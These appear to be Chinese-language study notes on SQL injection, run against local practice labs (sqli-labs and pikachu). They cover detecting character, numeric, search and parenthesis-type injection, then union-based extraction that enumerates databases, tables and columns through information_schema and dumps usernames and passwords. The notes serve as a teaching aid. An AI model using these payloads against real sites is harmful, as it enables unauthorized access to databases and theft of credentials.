一、sql注入检测方式
1、字符型检测
字符型判断url是否存在注入
在url栏的网址上添加一个单引号
url: http://localhost/Less-1/?id=1′]
会显示这样的报错,大致意思是你有一个sql语法错误,当在后面加了%23(url编码)
一个注释符后会正常显示。
当我们在url栏网址的单引号后面输入and 1=1 时页面显示正常。
http://localhost/Less-1/?id=1′ and 1=1#
如果#不行,可以改为%23
当我们把1=1换成1=2时页面报错
http://localhost/Less-1/?id=1′ and 1=2#
或这这样理解

第一关注入一个1’,错误回显出下面内容,其中1‘是注入的内容,0,1后面的单引号和最前面的单引号是一对,剩下的两个单引号是一对,最后多出一个单引号。错误回显出上面内容说明是字符型注入。
2、数字型注入检测
直接输入and 1=1看看。
http://localhost/Less-2/?id=1 and 1=1
发现是可以正常显示页面的,那么我们在进一步判断1=2时。
http://localhost/Less-2/?id=1 and 1=2
发现页面有变化,那么就可以判断他是一个数字型的注入,因为数字型的注入是==不用==加引号的。就类似于int一样。
或者这样理解

第二关注入一个1’,错误回显出下面内容,没有回显出注入的1’说明该注入类型是数字型
3、搜索型注入检测
在搜索框里面输入单引号’来测试。
http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name=’&submit=æç´¢
发现报错,然后注释符号后看看页面是否正常。
http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name=’#&submit=æç´¢
页面恢复正常,那么这个时候就可以判断出,他是存在搜索型注入,那么把构造一个’ or 1=1 # 就可以把全部数据列出来。
http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name=%27+or+1%3D1%23&submit=%E6%90%9C%E7%B4%A2#&submit=%C3%A6%C2%90%C2%9C%C3%A7%C2%B4%C2%A2
4、xx型注入检测
在搜索框里面输入单引号来尝试。
http://127.0.0.1/pikachu-master/vul/sqli/sqli_x.php?name=%27&submit=%E6%9F%A5%E8%AF%A2
可以看到报错,看他的报错内容提示了一个)那么我们可以猜测是不是这个参数需要用括号来闭合,那么构造语句’) # 来试试。
http://127.0.0.1/pikachu-master/vul/sqli/sqli_x.php?name=’)#&submit=%E6%9F%A5%E8%AF%A2
发现页面正常显示,这个时候我们可以在后面加上 or 1=1。
http://127.0.0.1/pikachu-master/vul/sqli/sqli_x.php?name=’)+or+1=1%23&submit=%E6%9F%A5%E8%AF%A2

二、union注入
union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。

后端代码
1.输入1′ union select 1,2,3 #(%23)
查看是否存在union注入

#后面的这一行注释

‘ union select 1,2,3 #

前面的语句查询为空,执行后面的语句,显示位显示后面语句的结果


2.order by 查询字段
union注入是需要配合order by来判断,那么order by是干什么的呢,order by是在sql语句后面进行排序的,通常我们用order by来判断主查询的==字段有几位==。

只有3个字段(3列)id username password
group by 也一样 
靶场上

3.显示位(显示的name password,显示用户名)

显示数据库

因为后端限定使用select 不能使用 show

==注意:union只能用查询不能用show==
4.union查询数据库名
id=’125254758′ union select 1,schema_name,2 from information_schema.schemata #

用limit 1,1查询其他,可以将id=1,因为limit限制显示的是第二个数据库名

用group_concat函数查询所有名称到一行里,在第二个显示位上显示所有名称,再补齐字段,
==注意:id为表中不存在的,使得第一个语句为空,显示位显示所有数据库名,因为此时没有limit限制==

查询当前数据库
database()

5.查询某个数据库里的表

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="mamba" #

union select 1,(select group_concat(schema_name) from information_schema.schemata),group_concat(table_name) from information_schema.tables where table_schema="mamba" #
6.查询字段当前数据库中表里的字段
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name="users"#

7.查询当前数据库中users表里的数据
union select 1,group_concat(username),group_concat(password) from users%23
